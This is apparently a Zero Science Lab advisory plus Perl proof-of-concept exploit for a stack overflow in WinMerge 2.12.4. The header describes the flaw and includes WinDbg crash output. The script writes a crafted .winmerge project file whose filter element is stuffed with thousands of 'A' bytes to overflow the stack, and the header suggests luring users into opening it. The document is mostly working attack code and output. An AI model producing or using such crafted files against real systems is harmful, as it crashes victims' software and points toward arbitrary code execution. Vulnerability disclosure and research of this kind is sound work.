#!/usr/bin/perl### Title: WinMerge v2.12.4 Project File Handling Stack Overflow Vulnerability### Vendor: Thingamahoochie Software# Product web page: http://www.winmerge.org# Affected version: 2.12.4.0 Unicode## Summary: WinMerge is an Open Source differencing and merging tool for Windows.# WinMerge can compare both folders and files, presenting differences in a visual# text format that is easy to understand and handle. WinMerge is highly useful for# determining what has changed between project versions, and then merging changes# between versions. WinMerge can be used as an external differencing/merging tool# or as a standalone application.## Desc: WinMerge version 2.12.4 suffers from a stack overflow vulnerability because# it fails to properly sanitize user supplied input when parsing .winmerge project# file format resulting in a crash overflowing the memory stack. The attacker can# use this scenario to lure unsuspecting users to open malicious crafted .winmerge# files with a potential for arbitrary code execution on the affected system.## Tested on: Microsoft Windows XP Professional SP3 (EN)## --------------------------------------------------------------------------------## (e34.10b0): Stack overflow - code c00000fd (first chance)# First chance exceptions are reported before any exception handling.# This exception may be expected and handled.# eax=00000011 ebx=0001f83c ecx=50000161 edx=7ffe0300 esi=00000000 edi=00c30000# eip=7c90cf78 esp=00033000 ebp=00033238 iopl=0 nv up ei pl nz na po nc# cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010202# ntdll!NtAllocateVirtualMemory+0xa:# 7c90cf78 ff12calldword ptr [edx]ds:0023:7ffe0300={ntdll!KiFastSystemCall (7c90e510)}# 0:000> g# (e34.10b0): C++ EH exception - code e06d7363 (first chance)# (e34.10b0): Access violation - code c0000005 (first chance)# First chance exceptions are reported before any exception handling.# This exception may be expected and handled.# eax=00000d28 ebx=00523001 ecx=00000000 edx=00000000 esi=00000000 edi=00031ad8# eip=7c90e8e5 esp=00030c9c ebp=000319d4 iopl=0 nv up ei pl nz ac pe nc# cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010216# ntdll!strchr+0xd8:# 7c90e8e5 53pushebx## --------------------------------------------------------------------------------### Vulnerability discovered by Gjoko 'LiquidWorm' Krstic# liquidworm gmail com# Zero Science Lab - http://www.zeroscience.mk### Advisory ID: ZSL-2010-4997# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-4997.php### 08.02.2011#
use strict;
my $project = "thricer.winmerge";
my $begining = "\x3C\x3F\x78\x6D\x6C\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E"."\x30\x22\x20\x65\x6E\x63\x6F\x64\x69\x6E\x67\x3D\x22\x55\x54\x46\x2D"."\x38\x22\x20\x73\x74\x61\x6E\x64\x61\x6C\x6F\x6E\x65\x3D\x22\x79\x65"."\x73\x22\x3F\x3E\x0D\x0A\x0D\x0A\x3C\x70\x72\x6F\x6A\x65\x63\x74\x3E"."\x0D\x0A\x20\x20\x20\x3C\x70\x61\x74\x68\x73\x3E\x0D\x0A\x20\x20\x20"."\x20\x20\x20\x3C\x66\x69\x6C\x74\x65\x72\x3E";
my $load = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"."\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"."\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"."\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"."\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"."\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"."\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"."\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"."\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"."\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"."\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"."\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"."\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";
my $ending = "\x2A\x2E\x2A\x3C\x2F\x66\x69\x6C\x74\x65\x72\x3E\x0D\x0A\x20\x20\x20"."\x20\x20\x20\x3C\x73\x75\x62\x66\x6F\x6C\x64\x65\x72\x73\x3E\x30\x3C"."\x2F\x73\x75\x62\x66\x6F\x6C\x64\x65\x72\x73\x3E\x0D\x0A\x20\x20\x20"."\x20\x20\x20\x3C\x6C\x65\x66\x74\x2D\x72\x65\x61\x64\x6F\x6E\x6C\x79"."\x3E\x30\x3C\x2F\x6C\x65\x66\x74\x2D\x72\x65\x61\x64\x6F\x6E\x6C\x79"."\x3E\x0D\x0A\x20\x20\x20\x20\x20\x20\x3C\x72\x69\x67\x68\x74\x2D\x72"."\x65\x61\x64\x6F\x6E\x6C\x79\x3E\x30\x3C\x2F\x72\x69\x67\x68\x74\x2D"."\x72\x65\x61\x64\x6F\x6E\x6C\x79\x3E\x0D\x0A\x20\x20\x20\x3C\x2F\x70"."\x61\x74\x68\x73\x3E\x0D\x0A\x3C\x2F\x70\x72\x6F\x6A\x65\x63\x74\x3E"."\x0D\x0A";
print "\n\n[*] Buffering \"$project\" file ...\n";
open winmerge,">./$project"|| die "\nCan't open $project: $!";
print winmerge $begining.$load x(2391-142+1000).$ending;sleep 2;
print "\n[*] File created successfully!\n\n";
close winmerge;
